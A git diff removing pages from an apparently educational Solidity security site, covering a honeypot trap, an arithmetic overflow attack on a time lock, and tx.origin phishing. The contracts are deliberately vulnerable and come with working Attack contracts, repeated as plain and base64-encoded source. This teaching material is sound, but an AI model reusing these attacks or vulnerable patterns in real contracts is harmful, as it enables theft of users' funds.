a/src/pages/hacks/honeypot/HoneyPot.sol +++ /dev/null @@ -1,94 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Bank is a contract that calls Logger to log events. -Bank.withdraw() is vulnerable to the reentrancy attack. -So a hacker tries to drain Ether from Bank. -But actually the reentracy exploit is a bait for hackers. -By deploying Bank with HoneyPot in place of the Logger, this contract becomes -a trap for hackers. Let's see how. - -1. Alice deploys HoneyPot -2. Alice deploys Bank with the address of HoneyPot -3. Alice deposits 1 Ether into Bank. -4. Eve discovers the reentrancy exploit in Bank.withdraw and decides to hack it. -5. Eve deploys Attack with the address of Bank -6. Eve calls Attack.attack() with 1 Ether but the transaction fails. - -What happened? -Eve calls Attack.attack() and it starts withdrawing Ether from Bank. -When the last Bank.withdraw() is about to complete, it calls logger.log(). -Logger.log() calls HoneyPot.log() and reverts. Transaction fails. -*/ - -contract Bank { - mapping(address => uint) public balances; - Logger logger; - - constructor(Logger _logger) { - logger = Logger(_logger); - } - - function deposit() public payable { - balances[msg.sender] += msg.value; - logger.log(msg.sender, msg.value, "Deposit"); - } - - function withdraw(uint _amount) public { - require(_amount <= balances[msg.sender], "Insufficient funds"); - - (bool sent, ) = msg.sender.call{value: _amount}(""); - require(sent, "Failed to send Ether"); - - balances[msg.sender] -= _amount; - - logger.log(msg.sender, _amount, "Withdraw"); - } -} - -contract Logger { - event Log(address caller, uint amount, string action); - - function log(address _caller, uint _amount, string memory _action) public { - emit Log(_caller, _amount, _action); - } -} - -// Hacker tries to drain the Ethers stored in Bank by reentrancy. -contract Attack { - Bank bank; - - constructor(Bank _bank) { - bank = Bank(_bank); - } - - fallback() external payable { - if (address(bank).balance >= 1 ether) { - bank.withdraw(1 ether); - } - } - - function attack() public payable { - bank.deposit{value: 1 ether}(); - bank.withdraw(1 ether); - } - - function getBalance() public view returns (uint) { - return address(this).balance; - } -} - -// Let's say this code is in a separate file so that others cannot read it. -contract HoneyPot { - function log(address _caller, uint _amount, string memory _action) public { - if (equal(_action, "Withdraw")) { - revert("It's a trap"); - } - } - - // Function to compare strings using keccak256 - function equal(string memory _a, string memory _b) public pure returns (bool) { - return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); - } -} diff --git a/src/pages/hacks/honeypot/index.html.ts b/src/pages/hacks/honeypot/index.html.ts deleted file mode 100644 index 3ab286c11..000000000 --- a/src/pages/hacks/honeypot/index.html.ts +++ /dev/null @@ -1,115 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Honeypot" -export const description = "An example of honeypot in Solidity" - -export const keywords = ["hack", "security", "honeypot"] - -export const codes = [ - { - fileName: "HoneyPot.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRoZXIgYnV0IHRoZSB0cmFuc2FjdGlvbiBmYWlscy4KCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkgYW5kIGl0IHN0YXJ0cyB3aXRoZHJhd2luZyBFdGhlciBmcm9tIEJhbmsuCldoZW4gdGhlIGxhc3QgQmFuay53aXRoZHJhdygpIGlzIGFib3V0IHRvIGNvbXBsZXRlLCBpdCBjYWxscyBsb2dnZXIubG9nKCkuCkxvZ2dlci5sb2coKSBjYWxscyBIb25leVBvdC5sb2coKSBhbmQgcmV2ZXJ0cy4gVHJhbnNhY3Rpb24gZmFpbHMuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CgogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgX2Ftb3VudCwgIldpdGhkcmF3Iik7CiAgICB9Cn0KCmNvbnRyYWN0IExvZ2dlciB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHVpbnQgYW1vdW50LCBzdHJpbmcgYWN0aW9uKTsKCiAgICBmdW5jdGlvbiBsb2coYWRkcmVzcyBfY2FsbGVyLCB1aW50IF9hbW91bnQsIHN0cmluZyBtZW1vcnkgX2FjdGlvbikgcHVibGljIHsKICAgICAgICBlbWl0IExvZyhfY2FsbGVyLCBfYW1vdW50LCBfYWN0aW9uKTsKICAgIH0KfQoKLy8gSGFja2VyIHRyaWVzIHRvIGRyYWluIHRoZSBFdGhlcnMgc3RvcmVkIGluIEJhbmsgYnkgcmVlbnRyYW5jeS4KY29udHJhY3QgQXR0YWNrIHsKICAgIEJhbmsgYmFuazsKCiAgICBjb25zdHJ1Y3RvcihCYW5rIF9iYW5rKSB7CiAgICAgICAgYmFuayA9IEJhbmsoX2JhbmspOwogICAgfQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgaWYgKGFkZHJlc3MoYmFuaykuYmFsYW5jZSA+PSAxIGV0aGVyKSB7CiAgICAgICAgICAgIGJhbmsud2l0aGRyYXcoMSBldGhlcik7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBiYW5rLmRlcG9zaXR7dmFsdWU6IDEgZXRoZXJ9KCk7CiAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCi8vIExldCdzIHNheSB0aGlzIGNvZGUgaXMgaW4gYSBzZXBhcmF0ZSBmaWxlIHNvIHRoYXQgb3RoZXJzIGNhbm5vdCByZWFkIGl0Lgpjb250cmFjdCBIb25leVBvdCB7CiAgICBmdW5jdGlvbiBsb2coYWRkcmVzcyBfY2FsbGVyLCB1aW50IF9hbW91bnQsIHN0cmluZyBtZW1vcnkgX2FjdGlvbikgcHVibGljIHsKICAgICAgICBpZiAoZXF1YWwoX2FjdGlvbiwgIldpdGhkcmF3IikpIHsKICAgICAgICAgICAgcmV2ZXJ0KCJJdCdzIGEgdHJhcCIpOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byBjb21wYXJlIHN0cmluZ3MgdXNpbmcga2VjY2FrMjU2CiAgICBmdW5jdGlvbiBlcXVhbChzdHJpbmcgbWVtb3J5IF9hLCBzdHJpbmcgbWVtb3J5IF9iKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo=", - }, -] - -const html = `

A honeypot is a trap to catch hackers.

-

Vulnerability

-

Combining two exploits, reentrancy and hiding malicious code, we can build a contract

-

that will catch malicious users.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Bank is a contract that calls Logger to log events.
-Bank.withdraw() is vulnerable to the reentrancy attack.
-So a hacker tries to drain Ether from Bank.
-But actually the reentracy exploit is a bait for hackers.
-By deploying Bank with HoneyPot in place of the Logger, this contract becomes
-a trap for hackers. Let's see how.
-
-1. Alice deploys HoneyPot
-2. Alice deploys Bank with the address of HoneyPot
-3. Alice deposits 1 Ether into Bank.
-4. Eve discovers the reentrancy exploit in Bank.withdraw and decides to hack it.
-5. Eve deploys Attack with the address of Bank
-6. Eve calls Attack.attack() with 1 Ether but the transaction fails.
-
-What happened?
-Eve calls Attack.attack() and it starts withdrawing Ether from Bank.
-When the last Bank.withdraw() is about to complete, it calls logger.log().
-Logger.log() calls HoneyPot.log() and reverts. Transaction fails.
-*/
-
-contract Bank {
-    mapping(address => uint) public balances;
-    Logger logger;
-
-    constructor(Logger _logger) {
-        logger = Logger(_logger);
-    }
-
-    function deposit() public payable {
-        balances[msg.sender] += msg.value;
-        logger.log(msg.sender, msg.value, "Deposit");
-    }
-
-    function withdraw(uint _amount) public {
-        require(_amount <= balances[msg.sender], "Insufficient funds");
-
-        (bool sent, ) = msg.sender.call{value: _amount}("");
-        require(sent, "Failed to send Ether");
-
-        balances[msg.sender] -= _amount;
-
-        logger.log(msg.sender, _amount, "Withdraw");
-    }
-}
-
-contract Logger {
-    event Log(address caller, uint amount, string action);
-
-    function log(address _caller, uint _amount, string memory _action) public {
-        emit Log(_caller, _amount, _action);
-    }
-}
-
-// Hacker tries to drain the Ethers stored in Bank by reentrancy.
-contract Attack {
-    Bank bank;
-
-    constructor(Bank _bank) {
-        bank = Bank(_bank);
-    }
-
-    fallback() external payable {
-        if (address(bank).balance >= 1 ether) {
-            bank.withdraw(1 ether);
-        }
-    }
-
-    function attack() public payable {
-        bank.deposit{value: 1 ether}();
-        bank.withdraw(1 ether);
-    }
-
-    function getBalance() public view returns (uint) {
-        return address(this).balance;
-    }
-}
-
-// Let's say this code is in a separate file so that others cannot read it.
-contract HoneyPot {
-    function log(address _caller, uint _amount, string memory _action) public {
-        if (equal(_action, "Withdraw")) {
-            revert("It's a trap");
-        }
-    }
-
-    // Function to compare strings using keccak256
-    function equal(string memory _a, string memory _b) public pure returns (bool) {
-        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
-    }
-}
-
` - -export default html diff --git a/src/pages/hacks/honeypot/index.md b/src/pages/hacks/honeypot/index.md deleted file mode 100644 index 5f276b3af..000000000 --- a/src/pages/hacks/honeypot/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Honeypot -version: 0.8.20 -description: An example of honeypot in Solidity -keywords: [hack, security, honeypot] ---- - -A honeypot is a trap to catch hackers. - -### Vulnerability - -Combining two exploits, reentrancy and hiding malicious code, we can build a contract - -that will catch malicious users. - -```solidity -{{{HoneyPot}}} -``` diff --git a/src/pages/hacks/honeypot/index.tsx b/src/pages/hacks/honeypot/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/honeypot/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/overflow/Overflow.sol b/src/pages/hacks/overflow/Overflow.sol deleted file mode 100644 index d69fec684..000000000 --- a/src/pages/hacks/overflow/Overflow.sol +++ /dev/null @@ -1,67 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.7.6; - -// This contract is designed to act as a time vault. -// User can deposit into this contract but cannot withdraw for atleast a week. -// User can also extend the wait time beyond the 1 week waiting period. - -/* -1. Deploy TimeLock -2. Deploy Attack with address of TimeLock -3. Call Attack.attack sending 1 ether. You will immediately be able to - withdraw your ether. - -What happened? -Attack caused the TimeLock.lockTime to overflow and was able to withdraw -before the 1 week waiting period. -*/ - -contract TimeLock { - mapping(address => uint) public balances; - mapping(address => uint) public lockTime; - - function deposit() external payable { - balances[msg.sender] += msg.value; - lockTime[msg.sender] = block.timestamp + 1 weeks; - } - - function increaseLockTime(uint _secondsToIncrease) public { - lockTime[msg.sender] += _secondsToIncrease; - } - - function withdraw() public { - require(balances[msg.sender] > 0, "Insufficient funds"); - require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); - - uint amount = balances[msg.sender]; - balances[msg.sender] = 0; - - (bool sent, ) = msg.sender.call{value: amount}(""); - require(sent, "Failed to send Ether"); - } -} - -contract Attack { - TimeLock timeLock; - - constructor(TimeLock _timeLock) { - timeLock = TimeLock(_timeLock); - } - - fallback() external payable {} - - function attack() public payable { - timeLock.deposit{value: msg.value}(); - /* - if t = current lock time then we need to find x such that - x + t = 2**256 = 0 - so x = -t - 2**256 = type(uint).max + 1 - so x = type(uint).max + 1 - t - */ - timeLock.increaseLockTime( - type(uint).max + 1 - timeLock.lockTime(address(this)) - ); - timeLock.withdraw(); - } -} diff --git a/src/pages/hacks/overflow/index.html.ts b/src/pages/hacks/overflow/index.html.ts deleted file mode 100644 index b7c7cfd94..000000000 --- a/src/pages/hacks/overflow/index.html.ts +++ /dev/null @@ -1,97 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Arithmetic Overflow and Underflow" -export const description = - "An example of hacking Solidity with arithmetic overflow / underflow" - -export const keywords = ["hack", "security", "arithmetic", "overflow", "underflow"] - -export const codes = [ - { - fileName: "Overflow.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCiovCgpjb250cmFjdCBUaW1lTG9jayB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkgcHVibGljIGJhbGFuY2VzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBsb2NrVGltZTsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdID0gYmxvY2sudGltZXN0YW1wICsgMSB3ZWVrczsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxvY2tUaW1lKHVpbnQgX3NlY29uZHNUb0luY3JlYXNlKSBwdWJsaWMgewogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdICs9IF9zZWNvbmRzVG9JbmNyZWFzZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdygpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlc1ttc2cuc2VuZGVyXSA+IDAsICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGxvY2tUaW1lW21zZy5zZW5kZXJdLCAiTG9jayB0aW1lIG5vdCBleHBpcmVkIik7CgogICAgICAgIHVpbnQgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgVGltZUxvY2sgdGltZUxvY2s7CgogICAgY29uc3RydWN0b3IoVGltZUxvY2sgX3RpbWVMb2NrKSB7CiAgICAgICAgdGltZUxvY2sgPSBUaW1lTG9jayhfdGltZUxvY2spOwogICAgfQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICB0aW1lTG9jay5kZXBvc2l0e3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICAgICAgLyoKICAgICAgICBpZiB0ID0gY3VycmVudCBsb2NrIHRpbWUgdGhlbiB3ZSBuZWVkIHRvIGZpbmQgeCBzdWNoIHRoYXQKICAgICAgICB4ICsgdCA9IDIqKjI1NiA9IDAKICAgICAgICBzbyB4ID0gLXQKICAgICAgICAyKioyNTYgPSB0eXBlKHVpbnQpLm1heCArIDEKICAgICAgICBzbyB4ID0gdHlwZSh1aW50KS5tYXggKyAxIC0gdAogICAgICAgICovCiAgICAgICAgdGltZUxvY2suaW5jcmVhc2VMb2NrVGltZSgKICAgICAgICAgICAgdHlwZSh1aW50KS5tYXggKyAxIC0gdGltZUxvY2subG9ja1RpbWUoYWRkcmVzcyh0aGlzKSkKICAgICAgICApOwogICAgICAgIHRpbWVMb2NrLndpdGhkcmF3KCk7CiAgICB9Cn0K", - }, -] - -const html = `

Vulnerability

-
Solidity < 0.8
-

Integers in Solidity overflow / underflow without any errors

-
Solidity >= 0.8
-

Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.7.6;
-
-// This contract is designed to act as a time vault.
-// User can deposit into this contract but cannot withdraw for atleast a week.
-// User can also extend the wait time beyond the 1 week waiting period.
-
-/*
-1. Deploy TimeLock
-2. Deploy Attack with address of TimeLock
-3. Call Attack.attack sending 1 ether. You will immediately be able to
-   withdraw your ether.
-
-What happened?
-Attack caused the TimeLock.lockTime to overflow and was able to withdraw
-before the 1 week waiting period.
-*/
-
-contract TimeLock {
-    mapping(address => uint) public balances;
-    mapping(address => uint) public lockTime;
-
-    function deposit() external payable {
-        balances[msg.sender] += msg.value;
-        lockTime[msg.sender] = block.timestamp + 1 weeks;
-    }
-
-    function increaseLockTime(uint _secondsToIncrease) public {
-        lockTime[msg.sender] += _secondsToIncrease;
-    }
-
-    function withdraw() public {
-        require(balances[msg.sender] > 0, "Insufficient funds");
-        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
-
-        uint amount = balances[msg.sender];
-        balances[msg.sender] = 0;
-
-        (bool sent, ) = msg.sender.call{value: amount}("");
-        require(sent, "Failed to send Ether");
-    }
-}
-
-contract Attack {
-    TimeLock timeLock;
-
-    constructor(TimeLock _timeLock) {
-        timeLock = TimeLock(_timeLock);
-    }
-
-    fallback() external payable {}
-
-    function attack() public payable {
-        timeLock.deposit{value: msg.value}();
-        /*
-        if t = current lock time then we need to find x such that
-        x + t = 2**256 = 0
-        so x = -t
-        2**256 = type(uint).max + 1
-        so x = type(uint).max + 1 - t
-        */
-        timeLock.increaseLockTime(
-            type(uint).max + 1 - timeLock.lockTime(address(this))
-        );
-        timeLock.withdraw();
-    }
-}
-

Preventative Techniques

-
    -
  • Use SafeMath to will prevent arithmetic overflow and underflow

    -
  • -
  • Solidity 0.8 defaults to throwing an error for overflow / underflow

    -
  • -
-` - -export default html diff --git a/src/pages/hacks/overflow/index.md b/src/pages/hacks/overflow/index.md deleted file mode 100644 index 8497e937c..000000000 --- a/src/pages/hacks/overflow/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Arithmetic Overflow and Underflow -version: 0.8.20 -description: An example of hacking Solidity with arithmetic overflow / underflow -keywords: [hack, security, arithmetic, overflow, underflow] ---- - -### Vulnerability - -##### Solidity < 0.8 - -Integers in Solidity overflow / underflow without any errors - -##### Solidity >= 0.8 - -Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error. - -```solidity -{{{Overflow}}} -``` - -### Preventative Techniques - -- Use SafeMath to will prevent arithmetic overflow and underflow - -- Solidity 0.8 defaults to throwing an error for overflow / underflow diff --git a/src/pages/hacks/overflow/index.tsx b/src/pages/hacks/overflow/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/overflow/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/phishing-with-tx-origin/TxOrigin.sol b/src/pages/hacks/phishing-with-tx-origin/TxOrigin.sol deleted file mode 100644 index 20ce0394f..000000000 --- a/src/pages/hacks/phishing-with-tx-origin/TxOrigin.sol +++ /dev/null @@ -1,50 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Wallet is a simple contract where only the owner should be able to transfer -Ether to another address. Wallet.transfer() uses tx.origin to check that the -caller is the owner. Let's see how we can hack this contract -*/ - -/* -1. Alice deploys Wallet with 10 Ether -2. Eve deploys Attack with the address of Alice's Wallet contract. -3. Eve tricks Alice to call Attack.attack() -4. Eve successfully stole Ether from Alice's wallet - -What happened? -Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it -requested a transfer of all funds in Alice's wallet to Eve's address. -Since tx.origin in Wallet.transfer() is equal to Alice's address, -it authorized the transfer. The wallet transferred all Ether to Eve. -*/ - -contract Wallet { - address public owner; - - constructor() payable { - owner = msg.sender; - } - - function transfer(address payable _to, uint _amount) public { - require(tx.origin == owner, "Not owner"); - - (bool sent, ) = _to.call{value: _amount}(""); - require(sent, "Failed to send Ether"); - } -} - -contract Attack { - address payable public owner; - Wallet wallet; - - constructor(Wallet _wallet) { - wallet = Wallet(_wallet); - owner = payable(msg.sender); - } - - function attack() public { - wallet.transfer(owner, address(wallet).balance); - } -} diff --git a/src/pages/hacks/phishing-with-tx-origin/index.html.ts b/src/pages/hacks/phishing-with-tx-origin/index.html.ts deleted file mode 100644 index 920a20842..000000000 --- a/src/pages/hacks/phishing-with-tx-origin/index.html.ts +++ /dev/null @@ -1,80 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Phishing with tx.origin" -export const description = "An example of phishing with tx.origin in Solidity" - -export const keywords = ["hack", "security", "phishing", "tx.origin"] - -export const codes = [ - { - fileName: "TxOrigin.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBBdHRhY2suYXR0YWNrKCksIGl0CnJlcXVlc3RlZCBhIHRyYW5zZmVyIG9mIGFsbCBmdW5kcyBpbiBBbGljZSdzIHdhbGxldCB0byBFdmUncyBhZGRyZXNzLgpTaW5jZSB0eC5vcmlnaW4gaW4gV2FsbGV0LnRyYW5zZmVyKCkgaXMgZXF1YWwgdG8gQWxpY2UncyBhZGRyZXNzLAppdCBhdXRob3JpemVkIHRoZSB0cmFuc2Zlci4gVGhlIHdhbGxldCB0cmFuc2ZlcnJlZCBhbGwgRXRoZXIgdG8gRXZlLgoqLwoKY29udHJhY3QgV2FsbGV0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8sIHVpbnQgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHR4Lm9yaWdpbiA9PSBvd25lciwgIk5vdCBvd25lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCApID0gX3RvLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBvd25lcjsKICAgIFdhbGxldCB3YWxsZXQ7CgogICAgY29uc3RydWN0b3IoV2FsbGV0IF93YWxsZXQpIHsKICAgICAgICB3YWxsZXQgPSBXYWxsZXQoX3dhbGxldCk7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgd2FsbGV0LnRyYW5zZmVyKG93bmVyLCBhZGRyZXNzKHdhbGxldCkuYmFsYW5jZSk7CiAgICB9Cn0K", - }, -] - -const html = `

What's the difference between msg.sender and tx.origin?

-

If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.

-

Vulnerability

-

A malicious contract can deceive the owner of a contract into calling a -function that only the owner should be able to call.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Wallet is a simple contract where only the owner should be able to transfer
-Ether to another address. Wallet.transfer() uses tx.origin to check that the
-caller is the owner. Let's see how we can hack this contract
-*/
-
-/*
-1. Alice deploys Wallet with 10 Ether
-2. Eve deploys Attack with the address of Alice's Wallet contract.
-3. Eve tricks Alice to call Attack.attack()
-4. Eve successfully stole Ether from Alice's wallet
-
-What happened?
-Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it
-requested a transfer of all funds in Alice's wallet to Eve's address.
-Since tx.origin in Wallet.transfer() is equal to Alice's address,
-it authorized the transfer. The wallet transferred all Ether to Eve.
-*/
-
-contract Wallet {
-    address public owner;
-
-    constructor() payable {
-        owner = msg.sender;
